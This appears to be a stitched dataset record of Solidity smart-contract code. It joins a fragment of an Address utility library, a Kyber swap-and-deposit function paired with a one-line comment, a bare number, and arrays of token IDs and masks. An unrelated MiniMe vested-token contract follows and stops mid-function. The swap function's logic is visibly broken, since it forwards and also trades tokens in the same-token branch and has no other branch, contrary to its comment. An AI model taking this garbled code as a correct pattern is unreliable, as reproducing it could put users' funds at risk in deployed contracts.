data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
just collect src token, no need to swap
function swapKyberAndDeposit( ISmartWalletLending.LendingPlatform platform, IERC20Ext src, IERC20Ext dest, uint256 srcAmount, uint256 minConversionRate, uint256 platformFeeBps, address payable platformWallet, bytes calldata hint, bool useGasToken ) external payable override nonReentrant returns (uint256 destAmount) { require(lendingImpl != ISmartWalletLending(0)); uint256 gasBefore = useGasToken ? gasleft() : 0; if (src == dest) { destAmount = safeForwardTokenAndCollectFee( src, msg.sender, payable(address(lendingImpl)), srcAmount, platformFeeBps, platformWallet ); destAmount = doKyberTrade( src, dest, srcAmount, minConversionRate, payable(address(lendingImpl)), platformFeeBps, platformWallet, hint ); } uint256 numGasBurns = 0; if (useGasToken) { numGasBurns = burnGasTokensAfter(gasBefore); } emit KyberTradeAndDeposit( msg.sender, platform, src, dest, srcAmount, destAmount, platformFeeBps, platformWallet, hint, useGasToken, numGasBurns ); }
13,577,427
[ 1, 3732, 3274, 1705, 1147, 16, 1158, 1608, 358, 7720, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7720, 47, 93, 744, 1876, 758, 1724, 12, 203, 3639, 4437, 81, 485, 16936, 48, 2846, 18, 48, 2846, 8201, 4072, 16, 203, 3639, 467, 654, 39, 3462, 2482, 1705, 16, 203, 3639, 467, 654, 39, 3462, 2482, 1570, 16, 203, 3639, 2254, 5034, 1705, 6275, 16, 203, 3639, 2254, 5034, 1131, 6814, 4727, 16, 203, 3639, 2254, 5034, 4072, 14667, 38, 1121, 16, 203, 3639, 1758, 8843, 429, 4072, 16936, 16, 203, 3639, 1731, 745, 892, 7380, 16, 203, 3639, 1426, 999, 27998, 1345, 203, 565, 262, 3903, 8843, 429, 3849, 1661, 426, 8230, 970, 1135, 261, 11890, 5034, 1570, 6275, 13, 288, 203, 3639, 2583, 12, 80, 2846, 2828, 480, 4437, 81, 485, 16936, 48, 2846, 12, 20, 10019, 203, 3639, 2254, 5034, 16189, 4649, 273, 999, 27998, 1345, 692, 16189, 4482, 1435, 294, 374, 31, 203, 3639, 309, 261, 4816, 422, 1570, 13, 288, 203, 5411, 1570, 6275, 273, 4183, 8514, 1345, 1876, 10808, 14667, 12, 203, 7734, 1705, 16, 203, 7734, 1234, 18, 15330, 16, 203, 7734, 8843, 429, 12, 2867, 12, 80, 2846, 2828, 13, 3631, 203, 7734, 1705, 6275, 16, 203, 7734, 4072, 14667, 38, 1121, 16, 203, 7734, 4072, 16936, 203, 5411, 11272, 203, 5411, 1570, 6275, 273, 741, 47, 93, 744, 22583, 12, 203, 7734, 1705, 16, 203, 7734, 1570, 16, 203, 7734, 1705, 6275, 16, 203, 7734, 1131, 6814, 4727, 16, 203, 7734, 8843, 429, 12, 2867, 12, 80, 2846, 2828, 13, 3631, 203, 7734, 4072, 14667, 38, 1121, 16, 203, 7734, 4072, 2 ]
pragma solidity ^0.4.19; pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Math * @dev Assorted math operations */ library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // Slightly modified Zeppelin's Vested Token deriving MiniMeToken /* Copyright 2018, Konstantin Viktorov (EscrowBlock Foundation) Copyright 2017, Jorge Izquierdo (Aragon Foundation) Copyright 2017, Jordi Baylina (Giveth) Based on MiniMeToken.sol from https://github.com/Giveth/minime */ contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data); } /* Copyright 2018, Konstantin Viktorov (EscrowBlock Foundation) Copyright 2017, Jorge Izquierdo (Aragon Foundation) Copyright 2017, Jordi Baylina (Giveth) Based on MiniMeToken.sol from https://github.com/Giveth/minime */ contract Controlled { address public controller; function Controlled() { controller = msg.sender; } /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController { controller = _newController; } } /* Copyright 2018, Konstantin Viktorov (EscrowBlock Foundation) Copyright 2017, Jorge Izquierdo (Aragon Foundation) Copyright 2017, Jordi Baylina (Giveth) Based on MiniMeToken.sol from https://github.com/Giveth/minime */ /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) returns(bool); } /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title MiniMeToken Contract /// @author Jordi Baylina /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a "Campaign" contract MiniMeToken is Controlled { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "MMT_0.1"; //An arbitrary versioning scheme /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { Transfer(_from, _to, _amount); // Follow the spec to issue the event when transfer 0 return; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer throws uint256 previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); // Alerts the token controller of the transfer if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint256 previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain Transfer(_from, _to, _amount); } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender ) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() constant returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public view returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public view returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount ) onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint256 _amount ) onlyController returns (bool) { uint256 curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint256 previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) onlyController { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block ) internal view returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) internal view returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size > 0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } /** * Copyright 2018, Konstantin Viktorov (EscrowBlock Foundation) * Copyright 2017, Jorge Izquierdo (Aragon Foundation) * * Based on VestedToken.sol from https://github.com/OpenZeppelin/zeppelin-solidity * * Math – Copyright (c) 2016 Smart Contract Solutions, Inc. * SafeMath – Copyright (c) 2016 Smart Contract Solutions, Inc. * MiniMeToken – Copyright 2017, Jordi Baylina (Giveth) **/ // @dev MiniMeIrrevocableVestedToken is a derived version of MiniMeToken adding the // ability to createTokenGrants which are basically a transfer that limits the // receiver of the tokens how can he spend them over time. // For simplicity, token grants are not saved in MiniMe type checkpoints. // Vanilla cloning ESCBCoin will clone it into a MiniMeToken without vesting. // More complex cloning could account for past vesting calendars. contract MiniMeIrrevocableVestedToken is MiniMeToken { using SafeMath for uint256; uint256 MAX_GRANTS_PER_ADDRESS = 20; // Keep the struct at 2 stores (1 slot for value + 64 * 3 (dates) + 20 (address) = 2 slots // (2nd slot is 212 bytes, lower than 256)) struct TokenGrant { address granter; // 20 bytes uint256 value; // 32 bytes uint64 cliff; uint64 vesting; uint64 start; // 3 * 8 = 24 bytes bool revokable; bool burnsOnRevoke; // 2 * 1 = 2 bits? or 2 bytes? } // total 78 bytes = 3 sstore per operation (32 per sstore) mapping (address => TokenGrant[]) public grants; event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint64 start, uint64 cliff, uint64 vesting, uint256 grantId); mapping (address => bool) canCreateGrants; address vestingWhitelister; modifier canTransfer(address _sender, uint _value) { require(_value <= spendableBalanceOf(_sender)); _; } modifier onlyVestingWhitelister { require(msg.sender == vestingWhitelister); _; } function MiniMeIrrevocableVestedToken ( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public MiniMeToken(_tokenFactory, _parentToken, _parentSnapShotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled) { vestingWhitelister = msg.sender; doSetCanCreateGrants(vestingWhitelister, true); } // @dev Add canTransfer modifier before allowing transfer and transferFrom to go through function transfer(address _to, uint _value) canTransfer(msg.sender, _value) public returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) public returns (bool success) { return super.transferFrom(_from, _to, _value); } function spendableBalanceOf(address _holder) constant public returns (uint) { return transferableTokens(_holder, uint64(now)); } /** * @dev Grant tokens to a specified address * @param _to address The address which the tokens will be granted to. * @param _value uint256 The amount of tokens to be granted. * @param _start uint64 Time of the beginning of the grant. * @param _cliff uint64 Time of the cliff period. * @param _vesting uint64 The vesting period. * @param _revokable bool Token can be revoked with send amount to back. * @param _burnsOnRevoke bool Token can be revoked with send amount to back and destroyed. */ function grantVestedTokens( address _to, uint256 _value, uint64 _start, uint64 _cliff, uint64 _vesting, bool _revokable, bool _burnsOnRevoke ) public { // Check for date inconsistencies that may cause unexpected behavior require(_cliff >= _start && _vesting >= _cliff); require(canCreateGrants[msg.sender]); require(tokenGrantsCount(_to) < MAX_GRANTS_PER_ADDRESS); // To prevent a user being spammed and have his balance locked (out of gas attack when calculating vesting). uint256 count = grants[_to].push( TokenGrant( _revokable ? msg.sender : 0, // avoid storing an extra 20 bytes when it is non-revokable _value, _cliff, _vesting, _start, _revokable, _burnsOnRevoke ) ); transfer(_to, _value); NewTokenGrant(msg.sender, _to, _value, _cliff, _vesting, _start, count - 1); } function setCanCreateGrants(address _addr, bool _allowed) onlyVestingWhitelister public { doSetCanCreateGrants(_addr, _allowed); } function doSetCanCreateGrants(address _addr, bool _allowed) internal { canCreateGrants[_addr] = _allowed; } function changeVestingWhitelister(address _newWhitelister) onlyVestingWhitelister public { doSetCanCreateGrants(vestingWhitelister, false); vestingWhitelister = _newWhitelister; doSetCanCreateGrants(vestingWhitelister, true); } /** * @dev Revoke the grant of tokens of a specifed address. * @param _holder The address which will have its tokens revoked. * @param _grantId The id of the token grant. */ function revokeTokenGrant(address _holder, uint256 _grantId) public { TokenGrant storage grant = grants[_holder][_grantId]; require(grant.revokable); require(grant.granter == msg.sender); // Only granter can revoke it address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender; uint256 nonVested = nonVestedTokens(grant, uint64(now)); // remove grant from array delete grants[_holder][_grantId]; grants[_holder][_grantId] = grants[_holder][grants[_holder].length.sub(1)]; grants[_holder].length -= 1; var previousBalanceReceiver = balanceOfAt(receiver, block.number); //balances[receiver] = balances[receiver].add(nonVested); updateValueAtNow(balances[receiver], previousBalanceReceiver + nonVested); var previousBalance_holder = balanceOfAt(_holder, block.number); //balances[_holder] = balances[_holder].sub(nonVested); updateValueAtNow(balances[_holder], previousBalance_holder - nonVested); Transfer(_holder, receiver, nonVested); } /** * @dev Calculate the total amount of transferable tokens of a holder at a given time * @param holder address The address of the holder * @param time uint64 The specific time. * @return An uint256 representing a holder's total amount of transferable tokens. */ function transferableTokens(address holder, uint64 time) public view returns (uint256) { uint256 grantIndex = tokenGrantsCount(holder); if (grantIndex == 0) return balanceOf(holder); // shortcut for holder without grants // Iterate through all the grants the holder has, and add all non-vested tokens uint256 nonVested = 0; for (uint256 i = 0; i < grantIndex; i++) { nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time)); } // Balance - totalNonVested is the amount of tokens a holder can transfer at any given time uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested); // Return the minimum of how many vested can transfer and other value // in case there are other limiting transferability factors (default is balanceOf) return Math.min256(vestedTransferable, balanceOf(holder)); } /** * @dev Check the amount of grants that an address has. * @param _holder The holder of the grants. * @return A uint256 representing the total amount of grants. */ function tokenGrantsCount(address _holder) public view returns (uint256 index) { return grants[_holder].length; } /** * @dev Calculate amount of vested tokens at a specifc time. * @param tokens uint256 The amount of tokens grantted. * @param time uint64 The time to be checked * @param start uint64 A time representing the begining of the grant * @param cliff uint64 The cliff period. * @param vesting uint64 The vesting period. * @return An uint256 representing the amount of vested tokensof a specif grant. * transferableTokens * | _/-------- vestedTokens rect * | _/ * | _/ * | _/ * | _/ * | / * | .| * | . | * | . | * | . | * | . | * | . | * +===+===========+---------+----------> time * Start Clift Vesting */ function calculateVestedTokens( uint256 tokens, uint256 time, uint256 start, uint256 cliff, uint256 vesting) internal view returns (uint256) { // Shortcuts for before cliff and after vesting cases. if (time < cliff) return 0; if (time >= vesting) return tokens; // Interpolate all vested tokens. // As before cliff the shortcut returns 0, we can use just calculate a value // in the vesting rect (as shown in above's figure) // vestedTokens = tokens * (time - start) / (vesting - start) uint256 vestedTokens = SafeMath.div( SafeMath.mul( tokens, SafeMath.sub(time, start) ), SafeMath.sub(vesting, start) ); return vestedTokens; } /** * @dev Get all information about a specifc grant. * @param _holder The address which will have its tokens revoked. * @param _grantId The id of the token grant. * @return Returns all the values that represent a TokenGrant(address, value, start, cliff, * revokability, burnsOnRevoke, and vesting) plus the vested value at the current time. */ function tokenGrant(address _holder, uint256 _grantId) public view returns (address granter, uint256 value, uint256 vested, uint64 start, uint64 cliff, uint64 vesting, bool revokable, bool burnsOnRevoke) { TokenGrant storage grant = grants[_holder][_grantId]; granter = grant.granter; value = grant.value; start = grant.start; cliff = grant.cliff; vesting = grant.vesting; revokable = grant.revokable; burnsOnRevoke = 